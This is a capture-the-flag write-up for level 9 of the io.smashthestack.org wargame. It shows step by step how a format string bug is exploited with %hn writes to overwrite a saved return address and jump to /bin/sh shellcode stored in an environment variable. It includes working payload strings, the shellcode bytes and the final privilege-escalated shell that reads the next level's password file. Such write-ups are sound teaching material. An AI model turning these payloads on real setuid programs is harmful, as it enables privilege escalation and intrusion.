Level 9 from
io.smashthestack.org.
Classic format string vulnerability.
Popping off 9 pointers from the stack positions things to point to the beginning of user controlled data (As, Bs, and Cs).
level9@io:/tmp/dennis9$ ./level09 AAAABBBBCCCC%p.%p.%p.%p.%p.%p.%p.%p.%p
AAAABBBBCCCC0xbffffe8a.0x3ff.0x149d7c.0x149d7c.0xf0.0xf0.0x41414141.0x42424242.0
x43434343level9@io:/tmp/dennis9$
Changing the last %p format specifier to a %hn (write the number of characters written so far to its respective argument) causes a nice segfault when trying to write to the unmapped address. The "h" modifier restrains the write to a short (2 bytes).
(gdb) run `perl -e 'print "AAAABBBBCCCC" . "%p.%p.%p.%p.%p.%p.%p.%p.%hn"'`
Starting program: /tmp/dennis9/level09 `perl -e 'print "AAAABBBBCCCC" . "%p.%p.%
p.%p.%p.%p.%p.%p.%hn"'`
Program received signal SIGSEGV, Segmentation fault.
0xb7ecbaf2 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) x/i $eip
=> 0xb7ecbaf2 <vfprintf+17954>: mov %dx,(%eax)
(gdb) x/x $eax
0x43434343: Cannot access memory at address 0x43434343
(gdb) info reg edx
edx 0x4f 79
The target address to overwrite will be main()'s saved return address. It will be overwritten in two parts: the lower word then the upper word.
(gdb) break 9
Breakpoint 8 at 0x8048483: file level09.c, line 9.
(gdb) break 10
Breakpoint 9 at 0x804848f: file level09.c, line 10.
(gdb) info frame
Stack level 0, frame at 0xbffffcc0:
eip = 0x804848f in main (level09.c:11); saved eip 0x450039
source language c.
Arglist at 0xbffffcb8, args: argc=2, argv=0xbffffd64
Locals at 0xbffffcb8, Previous frame's sp is 0xbffffcc0
Saved registers:
ebp at 0xbffffcb8, eip at 0xbffffcbc
(gdb) run `perl -e 'print "\xbc\xfc\xff\xbf" . "BBBB" . "\xbe\xfc\xff\xbf" . "%p
.%p.%p.%p.%p.%p.%hn.%p.%hn"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/dennis9/level09 `perl -e 'print "\xbc\xfc\xff\xbf" . "BBB
B" . "\xbe\xfc\xff\xbf" . "%p.%p.%p.%p.%p.%p.%hn.%p.%hn"'`
Breakpoint 8, main (argc=2, argv=0xbffffd64) at level09.c:9
9 printf(buf);
(gdb) x/x 0xbffffcbc
0xbffffcbc: 0xb7e9ee16
(gdb) c
Continuing.
Breakpoint 9, main (argc=2, argv=0xbffffd64) at level09.c:11
11 return 0;
(gdb) x/x 0xbffffcbc
0xbffffcbc: 0x00450039
Since the address is being overwritten in two parts, two addresses are needed. The first %hn will overwrite the word starting at 0xbffffcbc with the number of characters written so far. The second %hn will overwrite the word starting at 0xbffffcbe, two bytes from the first one.
Now on to manipulating the number of characters printed to write an arbitrary value at the address. Specifying a minimum field width to a "%u" format specifier adds to the character count, so if the value 0x4141 is desired in the lower word, a format specifier like this will suffice (53 is the number of other characters already written).
(gdb) print /d 0x4141 - 53
$13 = 16652
For the upper word, if 0x6151 is desired, then the following (16652 from the previous math problem and 55 additional characters).
(gdb) print /d 0x6161 - 55 - 16652
$23 = 8222
(gdb) run `perl -e 'print "\xbc\xfc\xff\xbf" . "BBBB" . "\xbe\xfc\xff\xbf" . "%p
.%p.%p.%p.%p.%.16652u.%hn.%.8222u.%hn"'`
...
(gdb) x/x 0xbffffcbc
0xbffffcbc: 0x61614141
Next up is putting some shellcode into an environment and getting its address.
level9@io:/tmp/dennis9$ cat sc.py
nops = "\x90" * 50
# aleph one's shellcode from smashing the stack for fun and profit
shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x8
9\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xf
f\xff/bin/sh"
print nops + shellcode
level9@io:/tmp/dennis9$ cat level9e.c
#include <stdio.h>
/* progname must be the same length as level09 */
int main()
{
char *envaddr;
envaddr = getenv("EGG");
printf("EGG is at %p\n", envaddr);
}
level9@io:/tmp/dennis9$ export EGG=`python sc.py`
level9@io:/tmp/dennis9$ /tmp/dennis9/le
EGG is at 0xbffffeaa
Finally, adjusting offsets for production. The number of stack pops required will change, the %u offsets will need to be recalculated and main()'s saved return address has to be adjusted.
level9@io:/tmp/dennis9$ /levels/level09 AAAABBBBCCCC%p.%p.%p.%p.%p.%p
AAAABBBBCCCC0xbffffe23.0x3ff.0x149d7c.0x41414141.0x42424242.0x43434343level9@io:
/tmp/dennis9$
(gdb) print /d 0xfeaa - 30
$1 = 65164
(gdb) print /d 0x1bfff - 32 - 65164
$2 = 49491
(gdb) run `perl -e 'print "\x5c\xfc\xff\xbf" . "BBBB" . "\x5e\xfc\xff\xbf" . "%p
.%p.%.65164u.%hn.%.49491u.%hn"'`
...
(gdb) x/x 0xbffffc5c
0xbffffc5c: 0xbffffeaa
(gdb) x/i 0xbffffeaa
0xbffffeaa: nop
And outside of the the debugger.
level9@io:/tmp/dennis9$ /levels/level09 `perl -e 'print "\x5c\xfc\xff\xbf" . "BB
BB" . "\x5e\xfc\xff\xbf" . "%p.%p.%.65164u.%hn.%.49491u.%hn"'`
...
sh-4.2$ id
uid=1009(level9) gid=1009(level9) euid=1010(level10) groups=1010(level10),1009(l
evel9),1029(nosu)
sh-4.2$ cat /home/level10/.pass
shhh don't snitch